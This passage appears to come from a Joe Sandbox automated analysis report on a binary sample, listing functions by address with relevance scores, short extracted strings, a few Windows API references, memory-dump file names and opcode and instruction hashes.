Opcode Fuzzy Hash: 3641d3b1d95d9d0e2252580d4e70a4747529bd2a480d62c0a42bd322f018f1c7
Instruction Fuzzy Hash: 29A16C717083919BE7248F24C8917ABBBD2EFD2340F18856ED5C94B3C6DB384405D796

Function 00415ADC Relevance: 5.4, Strings: 4, Instructions: 398COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F
^Q, xrefs: 00415C83
neA, xrefs: 00415ECE
WL, xrefs: 00415C75

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: 1/3T$WL$^Q$neA
API String ID: 0-3205570823
Opcode ID: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction ID: 36620dcd79f832a97b090e2ed89ea61b800e286945c25bf48684ec17d430fe28
Opcode Fuzzy Hash: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction Fuzzy Hash: A9D1CEB4100B01CFD7258F25C8A1BA3BBB1FF86314F19858DC8964F7A2D779A855CB94

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

8zVc, xrefs: 0042627D
4zVc, xrefs: 0042621C
YNMZ, xrefs: 00426446
cba`, xrefs: 004261C1

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction ID: a4538a0261ff6c2ac210d57fc6ac5424e6a326b8b8d8802f404cc31a7d59ec03
Opcode Fuzzy Hash: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction Fuzzy Hash: 189147B2F042208BD724DA25EC8172B7292EBD1314F5A857EEC8597342E678AC00C7DA

Function 00A213F0 Relevance: 4.6, APIs: 3, Instructions: 149encryptionCOMMON

Download Yara Rule

APIs

CoResumeClassObjects.OLE32 ref: 00A2150E
CryptContextAddRef.ADVAPI32(00000000,00000000,00000000), ref: 00A21521
GetLastError.KERNEL32 ref: 00A21583

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ClassContextCryptErrorLastObjectsResume
String ID:
API String ID: 88197900-0
Opcode ID: 7ad34578b5cf8adf1206fdf7f9359c9841fe0fb1bbdfb8ba73dbbb4437f97947
Instruction ID: 1204b5594c0ca8a0a7cd07cce554b02cf1668c4d4520b7039caa58062d67c70b
Opcode Fuzzy Hash: 7ad34578b5cf8adf1206fdf7f9359c9841fe0fb1bbdfb8ba73dbbb4437f97947
Instruction Fuzzy Hash: 1E516D708052A88BDF01CFA8E8457EEBFB0BF1A314F1441BAE845B3281C3795A05CFA5

Function 0042BFDA Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 461COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042C0D7

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: FreeLibrary
String ID: x
API String ID: 3664257935-2363233923
Opcode ID: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction ID: f24e0535182122329204161442b6cb3576d9d8656e0dc52521a12abdc108ad65
Opcode Fuzzy Hash: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction Fuzzy Hash: EFD1B46060C3E08ED7358B2994903BFBBD1AFD7344F5849ADD0C99B282D779450ACB57

Function 00420717 Relevance: 3.4, Strings: 2, Instructions: 854COMMON

Download Yara Rule

Strings

B:@<, xrefs: 00420D02
F>?0, xrefs: 00420D09

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: B:@<$F>?0
API String ID: 0-4011826714
Opcode ID: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction ID: 92ed06d7aa227fc4673e4b6d33fedd1ff2714f2f2b1d0eb8acbab6dee258af69
Opcode Fuzzy Hash: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction Fuzzy Hash: E43256B1A00721CBCB24CF24C892267BBB1FF92310F59825DD8825F796E779A851CBD5

Function 0042C6D7 Relevance: 3.1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

', xrefs: 0042CC09
iJ, xrefs: 0042CAF5

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction ID: e8033de2897f6a471e39d6e72682695b514e130b01bc458e21cc2d5cc8d806b0
Opcode Fuzzy Hash: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction Fuzzy Hash: 7C02F57060C3E18FD7298F2990A03ABBFE1AF97304F58496ED4D997342D77984058B97

Function 00414F08 Relevance: 3.1, Strings: 2, Instructions: 609COMMON

Download Yara Rule

Strings

cba`, xrefs: 00415565
=UA, xrefs: 0041551C, 00415537

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: =UA$cba`
API String ID: 0-2849403845
Opcode ID: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction ID: b0755fcd4efdf1967727a5f4be91126eb1e252dcdfc562f5600afc0ab194aa5f
Opcode Fuzzy Hash: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction Fuzzy Hash: 9402FE34608300EFD7149F24D962BABB7B1FB9A304F94582DF481972A2D775EC45CB8A

Function 00422270 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

c!", xrefs: 0042242F
TU, xrefs: 00422296

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction ID: a4d5b8c078bf2433dc24120fb7555f1f32600d90c3be649242fb2c546733d6d2
Opcode Fuzzy Hash: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction Fuzzy Hash: 27C16672B04310ABD714DB29ED5277BB3E2EFD5314F48852EE88587381E6BCE801875A

Function 0041D074 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

|~, xrefs: 0041D10A
pr, xrefs: 0041D112

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction ID: 1c71e515e24bd4364ede3925d09e369eeeaf8989eca5e2d791649c7508655d54
Opcode Fuzzy Hash: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction Fuzzy Hash: E451F0B0A0C3509BD7008F24D8127ABB7F1EF92319F1885AEE4C55B391E7399642CB5E

Function 0041D087 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

|~, xrefs: 0041D10A
pr, xrefs: 0041D112

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction ID: b30244ed6a2ff3de417c81c30de102dda9fa652a451c4e072b4a3ececf8c80cf
Opcode Fuzzy Hash: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction Fuzzy Hash: B751F4B460C3509BD7009F24C8126ABB7F1EF92315F1885ADE4C55B391E739D642CB5E

Function 0042536C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

X, xrefs: 0042556A
BLJB, xrefs: 00425554

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: BLJB$X
API String ID: 0-2222927247
Opcode ID: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction ID: 1af2eb929763e148cb4abff1c4585c52a2657f08fe5d59f4d12d45bf37d2de30
Opcode Fuzzy Hash: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction Fuzzy Hash: 13515531708B618BD730DE6894412FBBBE1DF55350F984A3ED8D987382E23CA545E74A

Function 00427653 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

ij, xrefs: 004276D3
H.s , xrefs: 004276E0

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: H.s $ij
API String ID: 0-4017226643
Opcode ID: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction ID: ae217f9daa6f4cce8b7d259f4259de876ba9e86de0ba8af5ed87a71d833a3b47
Opcode Fuzzy Hash: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction Fuzzy Hash: 0F31DEB260D3908FD314CF65D48165FBBE2EBC6704F55892DE4C56B340CBB49906CB46

Function 00415EE0 Relevance: 1.9, Strings: 1, Instructions: 625COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID: 1/3T
API String ID: 2994545307-3266294232
Opcode ID: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction ID: ff65059a960126ae2aa6a0ba82ae0d71c7a8e5e6bd522a8814a62b27b48fd42c
Opcode Fuzzy Hash: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction Fuzzy Hash: 37F1E134204741CFE7258F29D891BB3BBA2FB5A301F1945ADD5D68B392C739E881CB58

Function 0042BFD3 Relevance: 1.7, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction ID: cbfe56490d4610b99627c39bd120223bdbde8b4c29662e55905f397c0fd00549
Opcode Fuzzy Hash: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction Fuzzy Hash: 1AD1176060C7E18ED7358B2894903BFBBD1AF97344F5849AED0D54B382D739940AC797

Function 004266E7 Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

&tB, xrefs: 00426E9A

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: &tB
API String ID: 0-268467982
Opcode ID: ab8b9b4babc4c53dd273e945744bbaef1afa28ee0cdd2d4e334d85f9a15f2521
Instruction ID: 06a34f82c29db43340e48ad1cbe7e395302b1ddd3c50ea808075b5b9ec83bf05
Opcode Fuzzy Hash: ab8b9b4babc4c53dd273e945744bbaef1afa28ee0cdd2d4e334d85f9a15f2521
Instruction Fuzzy Hash: C5E169B5A083618FC7109F14E45136BB7E1AFDA304F0A486EE8C597342D639ED45CB9B

Function 0042A630 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0042A918

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction ID: f813c1fc85afd7223dda0e36a8c027de47e21e6ca96e88e37e758e8b14c45e64
Opcode Fuzzy Hash: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction Fuzzy Hash: 03C113B2B043215BD7149E25E44076BB7E5AF84310F59892FEC9687382E738DC59C78B

Function 0043E690 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

@CDE, xrefs: 0043E8D1

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID: @CDE
API String ID: 2994545307-1513065382
Opcode ID: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction ID: 3c5ac0be7424b57116813a4f2293c38aabf5a2246835f37d4781b8179357b19c
Opcode Fuzzy Hash: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction Fuzzy Hash: EFB146717493414BC318DB2AC8D1A3BBBE6ABE9314F1CD93DE58687392C638DC058796

Function 00417190 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

RuA, xrefs: 00417542

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: RuA
API String ID: 0-3286949753
Opcode ID: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction ID: 812d55878a62f6fab66defe66c88ae53172d99736bf38563795d352ae53827f1
Opcode Fuzzy Hash: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction Fuzzy Hash: 8CB10234208701CFE7258F29D851B73B7F2EB4A711F1489ADD4968B392D738A882CB58

Function 00421EE0 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

x%, xrefs: 0042207D

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: x%
API String ID: 0-3980080454
Opcode ID: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction ID: 53925fe815e81de9676dfe4c3668865c11de61aed011eb2c10e86570e61a59d5
Opcode Fuzzy Hash: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction Fuzzy Hash: 7BA145B1604320ABCB10DF24DC91B6777E4FF94358F08492DEA858B391E7B9E905C766

Function 0042AAD0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042ACCE

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 1b0d155936ea343f35509df964668f6b6c6c9246b28269455b7de3af52c0cfb1
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: D271E632B183254BD714CE28E58031BBBE3ABC5710F99856EE9949B391D238EC55C78B

Function 00417E82 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

tuv, xrefs: 00418856

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: tuv
API String ID: 0-2475268160
Opcode ID: 832319e91b6d4892eeb44864a439925f3f6d3c4679f0fc0c8248a51ed8917232
Instruction ID: 96cc1be5c7b42f4822ccf6fdabcc1d0a1cf8542e79077bfe6f2257edbdd6f4ef
Opcode Fuzzy Hash: 832319e91b6d4892eeb44864a439925f3f6d3c4679f0fc0c8248a51ed8917232
Instruction Fuzzy Hash: 2B6133B6604700CFC7208F24D8923A3B3F2FF96318F18456EE996477A1E739A945C759

Function 00425F7D Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

1_B, xrefs: 00426164

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: 1_B
API String ID: 0-2132359058
Opcode ID: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction ID: 5b09de0f708086b2db089408e795921656c95d083517461b5049a84f32a7c51a
Opcode Fuzzy Hash: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction Fuzzy Hash: D8415972D09B7487C230DA64A81017BB6D5DB85310F9A847FF9C697342EB38AD01A7CA

Function 0042B4BB Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

CUUI, xrefs: 0042B588

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: CUUI
API String ID: 0-173970609
Opcode ID: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction ID: 633f9cfe08b78efd1148aada0c0c4a0bea52aba14bf5254293374e99ea80dff2
Opcode Fuzzy Hash: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction Fuzzy Hash: 9541E7A020C7E08ADB358F2594903ABBBE1DFD3304F5884ADC6C56B243C77988068B5A

Function 0043DBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 0043DC39

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction ID: 1421818bc4f15c0d032df179158ed2797c8d4970c2420d5e39c05150b2e3af5d
Opcode Fuzzy Hash: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction Fuzzy Hash: C33100B15183048BC314DF18E8C162BBBF8FB9A314F15A92DE68687391D3759908CB9A

Function 00425230 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 004252B6

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction ID: beb69707a00ddb1e0f288a180930159145dfafadf277c1aff9f3426dfcb85bde
Opcode Fuzzy Hash: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction Fuzzy Hash: 47113536A44B204BC324CE289DC163777E1AB95314F95263DDCA9D33A1E278EC009AD9

Function 00407470 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction ID: af49202ca076376fa415bca2a3091a328854806cafe53c7e33487b358e5641c5
Opcode Fuzzy Hash: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction Fuzzy Hash: 9722B332A087118BD725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B851CB47

Function 0043CAC0 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction ID: a0fb517757f1b8da7777bae7579d9f52a382c29ac2183c4fd28747a7d9f1db1e
Opcode Fuzzy Hash: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction Fuzzy Hash: F402127AB04216CFC704CF28E8906AAB7F2FB8A311F1A847ED58593351D734AD55CB86

Function 0043CBD6 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction ID: 0188f3e029ce03e8205a7a452b25b6dbd5bcd661a0513372e50984eaaf58ab41
Opcode Fuzzy Hash: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction Fuzzy Hash: 98E12F79B04216CFC704CF68E8906AAB7F2FB8A312F1A847EE585D3351D334A955CB85

Function 00405910 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction ID: 292f23283d7cd07bb6fd19c8603031892cd16be448e450c68c3e166b8ce1a4f1
Opcode Fuzzy Hash: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction Fuzzy Hash: DAF1CF356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597791E679E904CB5A

Function 0043CCE0 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 536c392115e0cff150cd0d6d8dc87b4614f7e511d1c43d6d4655b511f952909a
Instruction ID: b7c2eaf3338182462aad9b41d84ad1057b9f4e6ab3b7739cdaab2d2094e4d2b6
Opcode Fuzzy Hash: 536c392115e0cff150cd0d6d8dc87b4614f7e511d1c43d6d4655b511f952909a
Instruction Fuzzy Hash: 36C1007AA04216CFC704CF28E8906AAB7F2FB8A311F1A447DE98593351D734ED54CB85

Function 004286F0 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0698e5323aca3189bcf61449c470d5166dbf916172f2457ca70a618e1c4aeee2
Instruction ID: 56b07d3b8ecf2697cfceb0b79347f06369642de1c8fee68a0e9743baf01ab03d
Opcode Fuzzy Hash: 0698e5323aca3189bcf61449c470d5166dbf916172f2457ca70a618e1c4aeee2
Instruction Fuzzy Hash: 46C12EB060D3218AC314DF14D86272BB7F2EF92364F44891DF0D19B395EB789905CB9A

Function 0043CD60 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ae3e85a33d43a6e2771b0fd908fe387ca734c2f104cbcf9b416a7aefdf7c9a
Instruction ID: 20c8691d40d2db25294344e9a87d3a2a4619c2758e90d916e0ff6e9b3fbd9dce
Opcode Fuzzy Hash: b7ae3e85a33d43a6e2771b0fd908fe387ca734c2f104cbcf9b416a7aefdf7c9a
Instruction Fuzzy Hash: 95B1FE7AA14216CFC704CF68E8906AAB7F1FB8A311F1A447EE98693350D734ED54CB85

Function 0043CE00 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc05906a2cd7047f79f16b5ec2f82067cc14c0beb5821a18253c96a7a105a64b
Instruction ID: 02c91c5c175dbfc798e5ae80a92b3f6d79b9f3e28c5cee1d4de64ad44bd3bbdb
Opcode Fuzzy Hash: fc05906a2cd7047f79f16b5ec2f82067cc14c0beb5821a18253c96a7a105a64b
Instruction Fuzzy Hash: 28B1FE79A08216CFC704CF28E8906AAB7F1FB8A311F1A487DE985D3350D734E955CB95

Function 00416E97 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

